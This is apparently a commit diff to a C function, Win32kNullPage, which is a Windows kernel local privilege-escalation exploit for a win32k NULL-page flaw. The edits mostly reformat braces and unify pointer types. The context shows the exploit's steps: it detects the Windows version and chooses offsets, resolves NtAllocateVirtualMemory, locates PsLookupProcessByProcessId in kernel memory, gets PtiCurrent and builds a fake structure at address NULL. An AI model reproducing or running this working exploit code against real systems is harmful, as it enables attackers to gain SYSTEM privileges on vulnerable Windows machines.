@@ -180,7 +180,9 @@ void Win32kNullPage(LPVOID lpPayload)
180
180
LogMessage ("[*] Getting Windows version..." );
181
181
memset (& VersionInformation , 0 , sizeof (OSVERSIONINFOA ));
182
182
VersionInformation .dwOSVersionInfoSize = 148 ;
183
- if (!GetVersionExA (& VersionInformation )) {
183
+
184
+ if (!GetVersionExA (& VersionInformation ))
185
+ {
184
186
LogMessage ("[!] Failed to get windows version" );
185
187
return ;
186
188
}
@@ -207,27 +209,33 @@ void Win32kNullPage(LPVOID lpPayload)
207
209
LogMessage ("[*] Windows 6.0 found..." );
208
210
OffsetWindows = 0xe0 ;
209
211
}
210
- else {
212
+ else
213
+ {
211
214
LogMessage ("[!] Unsupported Windows 6.%d found, only 6.0 and 6.1 supported atm" , VersionInformation .dwMinorVersion );
212
215
return ;
213
216
}
214
217
}
215
- else if (VersionInformation .dwMajorVersion == 5 ) {
218
+ else if (VersionInformation .dwMajorVersion == 5 )
219
+ {
216
220
if (VersionInformation .dwMinorVersion && VersionInformation .dwMinorVersion == 1 ) { // Ex: Windows XP SP3
217
221
LogMessage ("[*] Windows 5.1 found..." );
218
222
OffsetWindows = 0xc8 ;
219
223
}
220
- else if (VersionInformation .dwMinorVersion && VersionInformation .dwMinorVersion == 2 ) { // Ex: Windows 2003 SP2
224
+ else if (VersionInformation .dwMinorVersion && VersionInformation .dwMinorVersion == 2 )
225
+ {
226
+ // Ex: Windows 2003 SP2
221
227
LogMessage ("[*] Windows 5.2 found..." );
222
228
OffsetWindows = 0xd8 ;
223
229
}
224
- else {
230
+ else
231
+ {
225
232
LogMessage ("[!] Unsupported Windows 5 found, only 5.1 and 5.2 supported atm" );
226
233
return ;
227
234
}
228
235
}
229
236
#endif
230
- else {
237
+ else
238
+ {
231
239
LogMessage ("[!] Major Version %d found, not supported" , VersionInformation .dwMajorVersion );
232
240
return ;
233
241
}
@@ -250,7 +258,8 @@ void Win32kNullPage(LPVOID lpPayload)
250
258
}
251
259
252
260
pNtAllocateVirtualMemory = (lNtAllocateVirtualMemory )GetProcAddress (hNtdll , "NtAllocateVirtualMemory" );
253
- if (pNtAllocateVirtualMemory == NULL ) {
261
+ if (pNtAllocateVirtualMemory == NULL )
262
+ {
254
263
LogMessage ("[!] Failed to solve NtAllocateVirtualMemory" );
255
264
return ;
256
265
}
@@ -328,13 +337,8 @@ void Win32kNullPage(LPVOID lpPayload)
328
337
return ;
329
338
}
330
339
331
- #ifdef _M_X64
332
- pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId )((QWORD )nt_base + ((QWORD )pPsLookupProcessByProcessId - (QWORD )ntkrnl ));
333
- LogMessage ("[*] pPsLookupProcessByProcessId in kernel: %016llx\n" , pPsLookupProcessByProcessId );
334
- #else
335
- pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId )((DWORD )nt_base + ((DWORD )pPsLookupProcessByProcessId - (DWORD )ntkrnl ));
336
- LogMessage ("[*] pPsLookupProcessByProcessId in kernel: %08x\n" , pPsLookupProcessByProcessId );
337
- #endif
340
+ pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId )((DWORD_PTR )nt_base + ((DWORD_PTR )pPsLookupProcessByProcessId - (DWORD_PTR )ntkrnl ));
341
+ LogMessage ("[*] pPsLookupProcessByProcessId in kernel: 0x%p\n" , pPsLookupProcessByProcessId );
338
342
339
343
MyProcessId = GetCurrentProcessId ();
340
344
@@ -385,7 +389,7 @@ void Win32kNullPage(LPVOID lpPayload)
385
389
LogMessage ("[*] Getting PtiCurrent..." );
386
390
387
391
#ifdef _M_X64
388
- ULONGLONG pti = MyPtiCurrent ();
392
+ DWORD_PTR pti = MyPtiCurrent ();
389
393
#else
390
394
DWORD pti = MyPtiCurrent ();
391
395
#endif
@@ -402,15 +406,8 @@ void Win32kNullPage(LPVOID lpPayload)
402
406
LogMessage ("[!] Filed to get PtiCurrent" );
403
407
return ;
404
408
}
405
- else
406
- {
407
- #ifdef _M_X64
408
- LogMessage ("[*] Good! pti 0x%016llx" , pti );
409
- #else
410
- LogMessage ("[*] Good! pti 0x%08x" , pti );
411
- #endif
412
- }
413
409
410
+ LogMessage ("[*] Good! pti 0x%p" , pti );
414
411
LogMessage ("[*] Creating a fake structure at NULL..." );
415
412
416
413
#ifdef _M_X64
0 commit comments